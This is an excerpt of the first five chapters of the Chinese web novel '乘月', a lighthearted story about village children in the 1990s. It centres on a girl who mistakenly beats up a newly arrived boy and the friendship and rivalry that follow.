《乘月》 1. 第1章 《乘月》全本免费阅读 “什么!他居然敢动手打你!” 桌子一拍,嗓门一出,回南巷老徐家的女儿又坐不住了。 盛夏午后,穿堂风吹过的回廊被阿爷用冰凉井水冲洗过,铺上凉席,插上风扇,机械风与自然风交替,胜过宫廷剧里常讲的避暑山庄。天井右边种了一棵鸡蛋果树,藤蔓蜿蜒到外墙,结着一片黄绿相间的鸡蛋果。一种集香橙、菠萝、柠檬、草莓几种味道于一身的神奇水果,香味会由风送往呼吸中。 这里是夏日午觉最舒适的床铺。 然而今天中午,徐澄月却没了心情,鸡蛋果的香味也没能消解她的火气。 她准备好作战武器——方之敛的足球,踩在脚下,齐肩发全都捋到左肩,端着一副大姐大的气势,“龟孙子还在那吗?” 方之敛在岳清卓有些大的擦药手劲下咧嘴皱眉,还要忍痛安抚打算为他报仇的朋友,“在应该在,不过你可别去,惹出事来阿嬷又要骂你。嘶——清卓,稍微轻点。” “这不是挨不挨骂的问题,”反正她挨阿嬷的骂多了去了,不在乎多一回少一回,“姓刘的不是我们村的人,跑来占场地也就算了,居然还敢打人。” 事情是这样,上午方之敛去踢球,因人没到齐,就等着没下场。隔壁村刘宪领着一队人,径直忽略他们,不由分说占了场地。他们镇上,除了学校,就只有云水村有一个占地100多平的足球场地,因此时常有外村人跑过里借用他们的场地。 但毕竟知道不是自己地盘,先占场的踢上两小时还给他们,后来的自然只有等着的份,从没有像刘宪这样霸道不讲理的。 同行伙伴同他理论,他非但胡搅蛮缠,还学一些所谓混社会的不良少年,嘴要动,手也要动。方之敛担心伙伴吃亏,上去劝架,又拐弯抹角理论两句。刘宪不是学习的料,一张嘴只能叨出各类脏话,做不到方之敛那样有文化地骂人,脸面一时过不去,脑子一热,挥手给了他两拳。 回来遮掩着不敢告诉他们,就是怕徐澄月要去给他出气,果不其然,听完不过一分钟,就气势汹汹要去找人“报仇”。 他被岳清卓按在凉席上擦药,拦不住徐澄月,只能看着她气哄哄冲出家门。 岳清卓白他一眼,“拦什么,等给你擦完药,我也是要去帮忙的。” “澄澄会吃亏的!”方之敛心急如焚。 “放心,那靠近村委,我阿爷在,给你擦好药,我也去帮她。” 徐澄月将自行车踩得飞快,到足球场时,场上空无一人。 那孙子莫非心虚跑了! 徐澄月愤愤的,把气撒在脚踏上。想着等开学,一定要去堵他,给方之敛报仇。 自行车调个头,打算打道回府,5.1的视力清楚看到村委办事处门口的大树下,站着一个男孩。 白色的运动套装,和方之敛同款不同色的足球钉鞋,头戴鸭舌帽,脚边放着一个足球。 目标锁定,徐澄月停好自行车,抱着足球,走到离他一米多远,确定以自己的脚劲能够准确无误砸到人后,她开始寻找攻击部位。脑袋?不行,砸傻了没人治。腰?也不行,万一她超常发挥,砸他个半身不遂。腿?有擦边砸不中反被发现的风险。思来想去,屁股是最好的射击目标。 抬腿,绷紧脚背,脚尖向内,发力,射门,一气呵成,足球沿着她预想的路线高速旋转前进,直击命门。生平第一次射门,就取得如此精准的成功,徐澄月遗憾方之敛没有看见。 姓刘的被这一脚冲击倒地,徐澄月乘胜追击,冲过去扑到他背上,双腿用力夹住他的腰,抬起一个膝盖抵在他背上,一只手卡住他的后脖子,另一只手攥成拳,一下下挥出,落在他肩上,晃动的脸上。 “姓刘的,你吃了熊心豹子胆,抢我们的地盘,还敢打我们的人,今天不揍得你哭爹喊娘,我就不姓徐!” 话说得狠,手也不留情。徐澄月单方面揍了一会,身下的人似乎才从这场飞来横祸中反应过来,拼命挣扎,以胜出女孩几倍的力量扭动身体,要将徐澄月晃下去。 徐澄月开始体力不支,正想着怎么顺滑地从他身上跳开并以最快速度骑上自行车回家,就被追赶而来的伙伴拦腰拉下。 岳清卓见对方狼狈地趴在地上,也不好落井下石再补两脚,只劝解徐澄月:“好了澄澄,打这几下,算给阿敛报仇了。” “哼!”前一秒还想着如何逃跑的徐澄月,这一秒有伙伴撑腰,底气十足,“姓刘的,下次还敢不敢欺负人了?” 男孩仍趴在地上,像中暑昏倒的鸭子,没有力气扑腾。 不会被打出好歹来了吧? 方之敛忙去查看他的情况,才搭上他的肩,对方就攥住他的手,借力坐起来。 看清男孩面貌的方之敛,一下愣住。眼前的人,颧骨和脸颊上一片红印子,额头和下巴灰扑扑的,嘴角挂着血珠,不知道是擦到地面破皮还是磕到嘴,但怎么样他也认得出,他不是刘宪! 刘宪整天走街串巷,皮肤被晒出自称是古铜色但其实更接近包青天脸色的颜色,因为迷恋铜锣湾老大,觉得疤痕是硬汉的标志,脸上有几道落错位置显得滑稽的疤痕。而这个人,即便脸上有各种颜色,但看得出来底子很好,不管是肤色还是肤质。 方之敛对上他的眼睛,那双眼睛很好看,像深潭泉水,黑黝黝的眼珠此刻似喷薄泉眼,怒火四飞五散。方之敛被这样的眼神吓住,紧张地松手,对徐澄月说:“澄澄,你打错人了!” 徐澄月:“哈?” 方之敛一面道歉一面将人扶起。 男孩终于面向他们,徐澄月的震惊与尴尬不比方之敛少,岳清卓却没吭声,盯着他脸上完好的地方看,只觉这个人有些熟悉。 看到受害者正脸的徐澄月,先前大义凛然的气势像被扎破的气球,咻的一下变瘪,满腹教训人的说辞只剩下一句:完了!揍错人了!闯祸了! 身体反应大过思考,徐澄月弯腰鞠躬,非常诚恳地将对不起三个字重复了十几遍。 方之敛也替她道歉,顺带说清楚事情缘由。 徐澄月跟在他话音后解释:“你穿着球服球鞋,脚边又放着一个足球,我就认错人了,对不起对不起,你别生气,我会补偿你的,做什么都可以。” 被打的少年 2. 第2章 《乘月》全本免费阅读 场面一时有些像三堂会审。江阿爷是主审,了解事情来龙去脉后,发挥一村干部的威力,说会去找水合村反应这个事,而对徐澄月错手殴打江韫北一事,大手一挥,只一句话带过:小孩子之间打闹,正好,不打不相识。 陪审的江家父母也是一脸和气,知道徐澄月是为朋友出头,还赞了句“小小年纪就这么讲义气”,又瞧瞧儿子由红转青的脸,心疼也有,但好笑更多,居然被一个女孩子压在身下打,说出去要丢死人的。末了不忘告诉徐澄月,下次要给朋友出头不能单枪匹马去,要吃亏的。 面对江家人宽容和善的反应,身为肇事家属的徐家人更愧疚了。徐爸徐妈虽然欣慰女儿对朋友的义气之举,但对打架斗殴还是不赞同的,当下便让徐澄月正式向江韫北道歉。 于是场面变成徐家歉意十足地赔礼道歉,江家应了这个又应那个,“没关系,不用放心上”念来念去。最后还是江韫北姑姑,岳清卓的母亲,江菀站出来,说今晚去徐家聚餐,欢迎弟弟弟媳回来,也算徐家给这场乌龙事件的赔礼,几家人一拍即合,这话题才过去。 而被忽略的当事人,倚着柱子,见父母爷爷姑姑没有来慰问他的意思,火气极大,隐忍没发,最后憋到受不住,变成无语的笑,牵扯到上过药的伤口,又放下嘴角,双手抱胸,冷眼看向对面的始作俑者。 岳清卓对自己没有第一时间认出表弟一事还有些愧疚,但这也不能怪他,江韫北自出生就被外出做生意的父母带在身边,早些年回来得还算频繁,自她记事后,舅舅一家的面容便是模糊的,上一次见面还是三年前,7、8岁的孩子哪来这么好的记性,况且,孩子的样貌一天一个样,三年前还没她高的表弟,现在她需要踮脚才能与看到他的眼睛。 “那个小北啊,”岳清卓清清嗓子,开口:“你的伤还好吧?” 江韫北一点不给比自己大三个月表姐的面子,“不好。” 不和善的表情和冷冷的语气,直接将话堵死。岳清卓是个脾气爆的,瞬间忘记前一秒还愧疚认不出人,这一秒就要拿出表姐的架势教训不上道的表弟。 被方之敛按住。 “韫北,我听江叔说,9月份你就要来这边上学了。”方之敛先和他套近乎,“那以后我们就可以一起玩了。” 一个姿势太久肩膀有点酸,江韫北面不改色地换只手搁前面,还端着那副不冷不热的模样:“嗯。” “那开学前,我们带你熟悉一下环境吧,学校在镇上,骑车二十分钟能到。”方之敛碰碰徐澄月的膝盖。 徐澄月立马搭腔:“对,明天先带你去学校逛一圈,我们学校可好看了。” “行啊。”江韫北终于放下手,伸个腰,瞥一眼徐澄月,笑得格外真诚。 方之敛松口气,徐澄月却觉得,他那笑里,藏着不怀好意。 - 晚上的聚餐格外隆重。徐妈把只有在过年和大节才会毫不保留露出的厨艺一一展现:生腌虾姑、清蒸石斑鱼、牛肉炒芥兰、排骨鲍鱼汤、白果莲子甜汤、清炒油菜芯,还差使徐爸去镇上那家常年排长龙的店买烧鹅,六菜一汤,都快赶上吃席的排场了。 徐妈妈拿漏勺柄敲一下女儿的脑袋,嗔一句:“说的你不要吃一样。江叔江阿是爸爸妈妈的好朋友,虽然一直在外,但这些年也很关照我们,你爸爸好多活是江叔招揽来的。还有啊,你一见面就把人小北打成那样,妈妈不得做多点给他补补。” 徐澄月倒也不是不懂事,只是想起道了很多次歉还是不给她好脸色的人,就心疼这些美味食物要进入他的“小肚鸡肠”里。 煤气炉上的海鲜汤冒着鲜美的香气,砂锅这时仿佛是个缩小的海,面上漂浮一层金色光晕,鲍鱼、海虾、牡蛎在高汤中拼命扑腾,想赶在被人类一网收尽前回到深海,可惜金灿的火苗是人类施展出来魅惑它们的海妖,它们身不由己地堕落。 徐澄月舔舔嘴唇,摩拳擦掌,味道一定很好。 徐妈妈被她小馋猫的模样逗笑,撒了把干贝,加两勺盐,勺子递给她,“你来帮大家尝尝咸淡?” 徐澄月求之不得,就着妈妈的手喝了一口,“有点淡。” 徐妈妈又加了半勺盐,将勺子冲洗一遍,又舀了一点让她尝。 “正正好!如果再加点白胡椒就更好喝啦!” “就你会吃。”徐妈妈点点她的鼻子,打开胡椒瓶,正对煤气炉的窗恰好飘来一缕风,吹散胡椒粉,屋内屋外都响起喷嚏声。 徐澄月揉着鼻子抬头,小肚鸡肠的人与她四目相对,也在捏鼻子。 彼此都没什么好脸色,一个低头看回砂锅,一个装起乖朝向徐妈,“徐姨,阿嬷让我来拿点白糖,她在天井里做返沙香芋。” “好,我给你拿。” 江韫北拿了白糖却还不走,徐澄月皱眉看他,他还是挂着面对妈妈时的笑,徐澄月隐隐有不好预感。 “阿姨,”蔫坏的人终于袒露目的,“汤里要下胡椒吗?” “是呀,下点胡椒提鲜。小北,你是不是不吃胡椒?” 江韫北有些难为情地点头,“嗯,不怎么吃。” 徐妈妈将瓶盖拧上,“那就不下,这样也好喝。” “好,谢谢徐姨。”拿着白糖离开,江韫北故意回头,朝徐澄月抬了抬眉,那是胜利者的小人得志。 徐澄月捏着勺子,力道和下午打他时不无二致,“妈妈,可是我想下胡椒!” “那等会盛一碗给你,单独下。” “那样没味道。” “你呀!”徐妈妈纵容地敲她的脑门,“妈妈盛到小锅里,边煮着边下可以吗?” 徐澄月抱住她,“妈妈最好了。” 能坐下十几人的餐桌摆在天井中央。五点太阳照不进来后,阿爷拿井水冲过一遍,晾到吃饭时刻,暑气早已被带走,只剩舒心的清凉。 大人们热火朝天地举杯,聊家庭聊工作,小孩坐一排,在一众听不太懂的政治语言中,哼哧哼哧地干饭。 大概是想缓和两个孩子的关系,大人们特地让徐澄月和江韫北坐一块。而徐澄月此刻全然没有友好对待新来伙伴的心情,瞧着离座去洗手的江韫北,对他喝剩一半的汤起了歹念。 她偷偷将那剩汤倒掉,从自己小锅里舀了差不多的量,期待待会他喝下会是什么模样。可转念一想,他不吃胡椒,万一是过敏呢?以前陪妈妈在医院值夜班时,看到过因过敏送去抢救的小孩,她记得方姨和妈妈说,幸好送得早…… 这样的发散联想让徐澄月打消恶作剧的念 3. 第3章 《乘月》全本免费阅读 徐澄月一觉睡得天昏地暗,如果不是好友拉开窗帘,阳光争先恐后溜进来,她以为还是黑夜。 “晚上?”岳清卓大嚷:“徐澄月,你从昨晚八点睡到今天一点,都睡十几个小时了。” 徐澄月对昨晚的印象止于找到床躺下,后来的事,她一概不知,“我昨晚怎么了?”一片空白的记忆让她产生恐惧。 岳清卓问:“你全忘了?” “我只记得我很热,上屋顶吹风,然后就睡了。” “后来呢?砸到我表弟的事忘了?” “什么?我砸伤江韫北?”未知果然是恐惧的,砸到江韫北更恐怖,徐澄月迫不及待想补全记忆。 “不急,先把这个喝了,”方之敛把徐妈交代的蜂蜜水端给她,“你昨天喝醉了,跑上屋顶,大家都在外面乘凉喝茶,韫北进去的时候,就看到你往下跳。” “往下跳?”画面有些惊悚,徐澄月面容扭曲。 方之敛点头,这是江韫北说的。 他接住从三米高屋檐上跳下来的徐澄月,惊动众人,被大家围住时,他身上趴着徐澄月,眼角有血,大人问他怎么了,他说徐澄月发疯了,从屋顶上跳下来。 “徐姨以为你吃错什么东西,和我妈给你检查完,才知道你喝醉了。”方之敛说。 徐澄月羞愧埋头,阿爷骗她,明明说不会醉的! “那江韫北呢?” 方之敛和岳清卓对视一眼,沉默不言。 岳清卓把徐澄月带回家吃早午饭,这是徐姨交代的,免得她挨阿嬷的责骂。 午饭是阿爷做的肠粉,皮薄馅儿多,淋上阿爷特制的酱汁,徐澄月一次能吃两条。阿爷现给她做了三条肠粉,陪她吃时还不忘笑她昨天的酒后糗事。 一说昨天,徐澄月就想起朋友们口中带着血淋淋伤口回家的江韫北,心里虚得紧,气鼓鼓地抱怨:“您不是说不会醉吗?” 阿爷乐呵:“那是对大人,谁知道你个小馋猫,居然偷偷喝了那么多。” “阿爷我错了,下次再也不偷偷喝了。” 阿爷摸她的脑袋,“这有什么,在自己家,喜欢就喝,不过小孩子还是不能喝多,等你长大了,阿爷再给你酿。” “好!”心里惦记着江韫北,徐澄月加快速度搞定三条肠粉。 江韫北住二楼,岳清卓和方之敛在前头带路,徐澄月心里发怵,脚步发虚跟在后头。 进屋,少年穿着宽松的运动裤,倒趴在床上,下巴和小腹都垫着个枕头,脑袋埋得很低,不知道在看什么。 岳清卓喊他,他“嗯”一声抬头,视线触及徐澄月,神色蓦地一变。他让方之敛过来,靠着他下床,手下意识往臀上按,动作一顿,往上,扶住腰,以一个很滑稽的姿势走到角落,指着阿爷平日称农作物的机械称,招手让徐澄月过来,“来,上去,看看多重。” 他第一次被同一个女孩压倒两次爬不起来,除了对方体重过人,没有其他理由能消除这样的奇耻大辱。 徐澄月觉得他有些过分,他们认识不到24小时,他不止一次嘲笑过她的体重了。虽然她的体重确实比这个年纪的孩子稍重些,但妈妈说女孩发育早,身体机能消耗大,他们这些瘦得跟排骨似的男生才不会懂。 “我不!”徐澄月瞪他。 岳清卓也帮好友指责表弟:“你干嘛一直说澄澄体重,澄澄哪里胖了?明明是你弱!” “岳清卓你还是不是我表姐了!”胳膊肘居然往外拐,“昨天被压在身下起不来受两次伤的可是我,你亲表弟!” 第一次是受惊,迟钝许久才反应过来,但被反压着,压力还不小,挣扎不动。第二次是不得已接住一个没有发射规律的飞船,成功着陆后他受到巨大冲击,直挺挺往后倒,重心落在腰腹以下,屁股不幸再次罹难。左边肋骨也没有幸免,被她拿手肘用力杵了几下,昨晚回来检查,淤青了。 被数落体重的人原本还很不满,但听他提及昨天,一下蔫了,徐澄月看到他眼角贴的创可贴,愧疚道歉:“对不起,我昨晚喝醉了。” 她实打实的鞠躬道歉倒让江韫北没有继续发作的由头,人是莽了点,但认错及时,也算是好同志。堵了一晚上的气好像消了点,端起大哥的气势教育她:“徐澄月你才多大就喝酒,酒是你这个年纪能喝的吗?” “阿爷说不会醉的。” “我阿爷的话你也信?”江韫北嘲笑她无知。 “总之,是我害你受的伤,我会补偿你的,你想要什么?帮你跑腿,替你干活,拿我的零花钱给你买零食?” 江韫北“嘁”一声,靠着江韫北走回去,“我才不缺你那点零食。” 徐澄月亦步亦趋:“那你要什么?” 江韫北停住,侧过脑袋斜眼看她,“真的要补偿?” “对。” 江韫北眉一扬,露出面对家长们的招牌笑容。 他们在江韫北房间玩了一下午卡牌,等傍晚温度降下去才出门。 徐澄月看着大剌剌地坐在她自行车后座的江韫北,愣神。 江韫北拍拍座椅,喊她:“走吧,昨天不是说要带我逛逛?” 方之敛看着愣在原地的徐澄月,出手帮忙:“韫北,要不我来载你吧,澄澄力气不够的。” “她自己说什么都可以的。” 徐澄月对上他的目光,深觉他那挑衅的神情丑陋极了,“我可以。”她坐上车,费力地踢起车架,光是控制车头,她就有些力不从心,“阿敛,清卓,我们快走吧。” “等等,”岳清卓提醒:“你这样坐,屁股不会疼吗?” 江韫北摸摸臀侧,是有点疼,光顾着捉弄徐澄月,差点把自己带进去,“等着,我去拿点东西。”他扶着大腿小步拐进屋,半晌,拿来自己的枕头,放到后座,臀部轻轻挨上去,“这回可以了,走吧。” 三人相顾无语,这个样子出去,会引来多少人注目。但一定会成为目光焦点的人却不以为意,一再催促他们。三人放弃相劝,踩车出发。 徐澄月躬腰,哼哧哼哧踩得费劲,很快小腿就开始酸了。江韫北居然还有脸嘲笑她的体重,她现在感觉自己像干苦力的驴,既要驮着养尊处优的少爷,还要驮着少爷的包袱干粮。之前从镇上载陈阿婆和她刚买的小猪回来,都没觉得这么重,难道江韫北比一个大人加一头小猪还重? 正被人不断臆测的当事人却悠哉游哉地赏风景,吹晚风,顺带时不时将双脚踩在地上。听到徐澄月急促的呼吸,他心情极好,笑得开怀,稍抬起脚,出言挑衅:“徐澄月,你骑太慢了,怎么,没力气了?要不要休息会?” 徐澄月嘴硬:“不用,你坐好,照顾好你的屁股就好。” “那你加油。”他又把脚放下去,欣赏风景。 比起城里,江韫北觉得云水村更有生活气息。海滨小城,半个小时的自行车程可以抵达海边。一排排骑楼错落有致,外形相似,高矮不一,骑楼与骑楼之间的巷子干净整洁,几乎都养着花,多是石榴,细枝缀着一个红色小小的果子。从巷子穿出来,是平坦的水泥路,略窄,遇上有人家里装修建房,两辆自行车无法同时过去。经过一个市场,正好是晚市,摊贩和买菜的居民聊得热火朝天,卖小吃的老板认识徐澄月几人,扬手招呼他们吃东西,岳清卓笑着回应他们晚点再来。 到一座桥下,徐澄月喘着粗气,不得不停下来休息,她已经很卖力在踩了,但身后好像有根绳子一直在拉着她往回走。呼吸还没调整过来,已经上桥的方之敛和岳清卓停下等他们,身后的人也开始催促:他们等着呢,快点! 徐澄月深呼一口气,踩上脚踏,整条腿都在发力,好不容易骑出一点距离,力使不上来,又滑下去,她低头往后看,那双没来得及伸回的脚被她捉个正着,她瞬间明白过来。 徐澄月咬紧牙关,忍住连人带车丢下的冲动,又后悔昨天那脚没踢用力点,“江少爷,”她将三个字碾在齿间,“我们现在要上坡 4. 第4章 《乘月》全本免费阅读 江家父母把儿子送回来后,待了三天,便马不停蹄赶去北京。生意虽忙碌,却时常记挂,一天两通电话打回来问他生活得还习惯吗? 阿爷宽他们的心:放心,你们那儿子就跟皮猴似的,屁股好了天天往外窜,澄澄清卓带着他玩,现在整个云水村都快认识他了。 江爸江妈稍有放心,又担心阿爷的话安慰成分多,儿子养了十几年,什么德行他们清楚,不说娇生惯养,但对物质生活多少有点要求,毕竟此前都是在城里生活,条件谈不上顶好,与老家相比,却是不错的。就怕他一时适应不了,埋怨他们。 直到一次周末通话,江妈担忧的事还未问,江韫北在那头突然大喊一句“徐澄月,你去帮我们占地方,我和阿敛很快过去”,而后匆匆两句“我过得很好,不用担心”,便将电话撂给阿爷。 “瞧,我就说这小子过得挺好吧。”阿爷说。 江家父母在另一端面面相觑,真放下心了,安心经营生意。 江韫北能快速适应云水村的生活,其中一个原因确实是他的适应能力尚可,而云水村也并非那种荒山小村庄,生活需求一应俱全,还多了很多城里体会不到的乐趣。另一个原因自然是徐澄月几个人,一个他表姐,一个不打不相识,一个因一场足球赛结下兄弟情谊,三人令他这个暑假过得别开生面。 得意自会忘形,下一次江爸江妈的电话打来,阿爷由劝慰变成告状。 “你们这儿子,水帘洞皮猴转世的吗?孙悟空都没他这么能闹!” 阿爷气不顺,喊来岳清卓帮他细数江韫北罪状。 岳清卓憋着笑,先做总结:“舅舅舅妈,江韫北挨了阿爷两顿打。” 第一次惹阿爷生气,阿爷只动了口。 起因是那天他们去海边看日出,有人在放风筝,江韫北眼馋,非要自己做,信心满满找来材料,模样倒是做好了,但不知是不是竹子找得不对,怎么也飞不起来。他找一起踢球的伙伴取经,得知他们用的是编竹席的细竹子,于是将主意打到阿爷的竹席上。 竹席原本只是线散了,再穿一穿拉紧就能用。江韫北拿剪刀把线剪了,一根根抽出来,四只风筝做好,竹席没了三分之一,露出青灰色的床板。晚上阿爷去睡觉,看到竹席被糟蹋成这样,直心疼,但顾念孙子才回身边,没说重话,只警告几句,打算将就用过完夏天。 江韫北嘴上应着,脑子里却想着四只风筝齐齐飞起,且远甩一众风筝的壮景。 但他不长记性,第一顿打是在一周前。 他从阿爷的皮箱里搜罗出一件又重又厚的军绿色大衣,往里塞两个枕头,斜放在床上,喊来他们三个,让他们面朝床跪下去,自己站在板凳上。他们不明所以,不愿意,被他用溜冰场门票诱惑,半蹲半跪下。 望着眼前三个黑色的头颅,江韫北得意地发令:“哭!哭着喊阿爷。” 方之敛脑子转得快,觉得这应该不是什么好事,提出异议,被江韫北驳回,只说这是新鲜玩意,让他们赶紧哭。 虽不情愿,但想知道游戏后续,也记挂着溜冰场,三个人只好听从,没什么感情的嚎了两声。而等方之敛反应过来这是个什么“游戏”时,阿爷已经抄着粗棍子,满巷子追着他跑了。 徐澄月后知后觉:“这是不是前天有个老人去世,出殡时他们家人哭着喊的话?” 方之敛点头,正巧他们出门踢球,在路上碰到,也就看了一次,江韫北就“学以致用”了。 那天,江韫北好没几天的屁股再次遭殃。 第二顿,是在昨天。 方之敛自小有练字习惯,一手好字看得江韫北羡慕,突然说自己也要学,不知上哪整回来一叠宣纸、一支毛笔和一罐墨水,在天井里支了张书桌,扬言要用一手字折服一众愚民。 宣布完后,拉来方之敛当教练。第一天很认真,方之敛怎么教就怎么做,十分配合,没有偷懒,喊他去踢球,破天荒说不去。隔天便开始作妖了,再次把主意打到阿爷身上。趁他午休时,拿毛笔在他额上画了只乌龟。 阿爷原先不知,顶着乌龟出去转一圈后,被邻居嘲笑一通,气呼呼地回来,拿着路上顺手捡的树枝,一进家门先骂一句“小兔崽子”,然后再次将人从巷头追到巷尾。 三个人象征性地阻拦,拦不住,在一旁边看边点评起来。 方之敛:“我觉得像烤焦的番薯。” 岳清卓:“我觉得像一块很丑的胎记。” 徐澄月:“我觉得像陈阿婆家小猪拉的……” 方之敛和岳清卓立马抛弃各自的观点,万分赞同徐澄月这个形象的比喻。 揍完人,解气了,阿爷才想起来洗脸。可不知江韫北哪搞来的劣质墨水,擦不掉,水洗不掉,用肥皂、沐浴露,怎么也洗不掉,阿爷气极,丢掉肥皂,又追着人打一通。最后气不过,晚上趁江韫北熟睡,礼尚往来,也在他额头上画了只龟。 今天早上,爷孙俩盯着彼此额上的龟,像照了面镜子。 江妈听完,忍俊不禁,碍着公公还在边上,收敛了笑意,代儿子向他道歉。倒是不知道自家儿子原来这么顽劣,之前虽说带在身边,但工作忙,无法时时照看,他也没怎么让他们操过心,所以夫妇二人便以为儿子比同龄人稳重。江妈为此还嘲笑过江爸,说幸好儿子不随他,没有他年轻时那样闹腾。谁知竟是偷偷藏着,回去之后解放天性。 阿爷气得吹胡子瞪眼,叫他们找一些能清洗的寄回来。 江妈再次忍不住,笑声传进话筒,江爸连忙捂住她的嘴,连声应好,又问岳清卓:“你们后天就开学了吧?” “对。” “那小北额头上的,也洗不掉?” “对的,舅舅。” 江爸叹气,委婉同阿爷建议,下次换个地方画,孩子要上学,形象总归重要。 “换地方,我直接让他换个脑子!”阿爷原本是打算好好疼爱孙子,弥补过去遗憾,谁曾想竟是个混世魔王,没被气出高血压已是万幸。他瞅着还在给她找清洗剂的徐澄月,在旁边举着电话的岳清卓,感慨,还是女娃好,乖巧伶俐。 终于笑够的江妈拿回电话,帮理不帮亲:“爸,您教训得对,小北这些年被我们惯坏了,他要还闹腾,您就治他。清卓,我和舅舅已经拜托学校那边把小北和你们调到一个班,辛苦你们帮舅妈盯着他。” “放心,舅妈。” 结束通话,阿爷踱步到天井,徐澄月还在实验各种清洗剂混合,拿江韫北当试验品,把他额头搓红一片,那印子半点不消。 江韫北抓住她的手,制止:“徐澄月,我怀疑你在公报私仇,都给我擦破皮了。” 阿爷背手过去,瞪他:“活该!” 江韫北讨好地凑上去,哥俩好地搂着他,“阿爷我错了,我明天就上街去,把所有能洗脸的都买回来,再说了,咱爷孙长得这么俊,哪是一只乌龟就能掩盖的!” 阿爷 5. 第5章 《乘月》全本免费阅读 90年代很多地方,因为计划生育政策,很多家庭最多只能生养两个孩子,多生会罚款。但有些乡村以多子为福,又不愿交罚金,阳奉阴违,让女人躲到别处去生孩子,没生到男胎的家庭,也会让女人躲起来,避免被抓去结扎。 徐家和方家,因父母有其中一方在医院上班,将政策惯行到底,都只要了一个孩子,但方家生了男孩,徐家生了徐澄月。 几家父母都受过一定教育,对孩子数量、生男生女并无过多强求,但60年代过来的徐阿嬷,却一定要个男孩,只因她当年所生三个孩子,两男一女,女儿嫁到别处,男孩只剩徐爸一个。 于是对徐妈不愿意再生颇有微词,即便再三同她解释公职人员不能违反国家政策,文化程度低的老太太却只觉得这是儿媳妇的托词,连带着对徐澄月的态度也很差,甚至在夫妻俩忙工作时,不肯帮忙带。 徐爸是货车司机,走南闯北,徐妈在县医院妇任产科医生,两人闲暇时间皆不多。徐澄月年纪还小时,有时是江阿爷帮忙带,有时被徐妈带到医院,有时被方家带去。年纪稍大些,有一次阿爷带她去丁爷爷家串门,自此丁爷爷家成了她另一个据点。 丁爷爷全名叫丁森,村里人都说他生来与木有缘。早年是木匠,手艺精湛,有几年承包了村里各种木制品,后来遇上一个做木雕的手艺人,因喜爱潜心专注木雕,但那时的人尚无余力欣赏艺术品,丁爷爷的经济收入一落千丈。 后来依着家里人建议,又干回老本行,直到儿女长成长,家庭压力稍松,又做回木雕。好在都是和木头打交道,年久不碰,倒也不会太陌生。想过把手艺交给儿女,但他们志不在此,他便不强求,谁知出了个徐澄月。 第一次去,徐澄月便被一柜子活灵活现的木雕吸去了魂,学着电视剧,有模有样地端杯茶下跪,说要拜他为师,和他学木雕。 丁爷爷原以为她是小孩子心性,三分钟热度而已,不大认真地答应了,谁知她竟坚持到现在,一年有余了。可丁爷爷只让她画画,不给她碰刀和木头,徐澄月提了许多次,丁爷爷只说,不急,慢慢来。 徐澄月怀疑是不是丁爷爷嫌她太笨,怕她弄坏他的木头。今天收到江韫北的礼物,更加确信了。 她很沮丧,晚上同妈妈诉苦。 “怎么会?”徐妈摸摸女儿的脸,“你学得那么认真,丁爷爷怎么可能嫌弃你?” 徐澄月拄着下巴苦恼道:“可是丁爷爷还不让我碰木头。” 徐妈耐心安慰:“你还小,丁爷爷可能是怕你伤到自己,等你再大点,丁爷爷就会教你了。” “可是我已经学了好久了。” 徐妈放下衣服,坐到女儿身边,“澄澄,每件事都是循序渐进的,也是需要耐心的,妈妈问你,你和丁爷爷学这么久,知道丁爷爷是怎么做一件木雕的吗?” “知道,”徐澄月掰着手指数,“先画图,然后挑木头,锯木头,刻木头。” “那就对了,第一步是画画,你总得把你想做的先画出来,画得越准,做得越快,就像你拼积木一样,最底下的积木拼错了,拼再高都会散。” “是吗?” “你可以问问丁爷爷,是不是妈妈说的这样。但是澄澄,你要先问问自己,是不是真的喜欢,喜欢才能坚持,喜欢的坚持才能开心。” 徐澄月挺身而起,脸上写满干劲,“我喜欢,妈妈,我特别喜欢木头。” “那就对了。”徐妈循循诱导:“你喜欢,小北知道你喜欢,特地买了工具送你,怎么可能是嘲笑你呢?虽然你们认识比较晚,但和清卓阿敛一样,都是好朋友。” 听了妈妈的开导,徐澄月也觉得是因江韫北嘴坏,把他的心也想坏了,“妈妈我错了,我不该这么想我的朋友。” “知错能改,没关系,妈妈替你保密,不叫小北知道!” “好!妈妈最好了。” “那走吧,给你做宵夜吃,小宛姑姑送的鲎粿还有三个,咱们和阿嬷一人一个。” * 暑假结束,江韫北额头上的乌龟还没洗干净,留有一层不深不浅的印记。岳清卓担忧他第一天上课便顶着这副模样,会叫同学笑话,他却满不在乎,戴上帽子,骑在最前头。 到学校,老师给班级介绍转来的新同学,大家伙果然议论纷纷。老师见状,将话题岔开,江韫北却顺势地接下去。 “各位同学好,我叫江韫北。”亮出大名后,江韫北摘掉帽子,撩起刘海,把脑门露出来,“想着今天开学,太高兴了,昨天不小心打翻墨水,溅到脑门上,就顺手画了只乌龟,谁知道这墨水洗不掉,就成这样了。哎同学们,你们有什么好用的洗脸的吗,我得把这东西搞掉,总不能顶着招摇过市,给咱班丢人。” 同学们纷纷给他出主意,七嘴八舌的,一个简短的新同学介绍变成主题班会,一旁老师忍不住侧目,观察起这个比全班同学加起来还要外向的学生,挺新奇,不由得笑了笑。 老师给足了时间,适时收回话题,安排江韫北坐到方之敛旁边,讲起新学期事项。 徐澄月三人纷纷对他竖起大拇指。 岳清卓摇头感慨:“舅妈还担心你不适应,让我多照顾你,她多虑了。” 方之敛颇佩服:“韫北的适应能力很好。” 徐澄月翻个白眼:“就一张嘴瞎巴巴。” 江韫北伸脚勾住她椅子腿,往上一抬,徐澄月颠了一下。她不留情,一脚踩上去,“噼啪”两声,江韫北的惨叫被同学们下课交暑假作业的哀嚎声掩盖。 下午是体育课,集体训练完自由活动,方之敛回教室拿足球,江韫北和其他球员先去足球场,徐澄月和岳清卓无所事事,跟着过去。 足球场有其他班级的人在活动,徐澄月远远瞄到一个身影,拉过江韫北,指着那群人中最黑的一个,气愤地说;“他就是害你挨打的人!三班的刘宪!” 江韫北侧眸瞥她,“打我的是你吧?” 徐澄月自动忽略他不太友善的语气,把他脸掰过去,“是他先欺负阿敛,我把你认成他才打错的!我们得给阿敛报仇。” “敢欺负我兄弟”,江韫北活动手掌骨节,“看我怎么收拾他。” 徐澄月不太理解他们男生之间的友谊,短短十来天的相处就能成兄弟,但此刻江韫北与她同仇敌忾,她很满意。 岳清卓是三人中最冷静的,劝道:“这件事阿爷已经处理了,澄澄你挨骂还没过多久,江韫北你才转学过来,两个人不要惹事。” 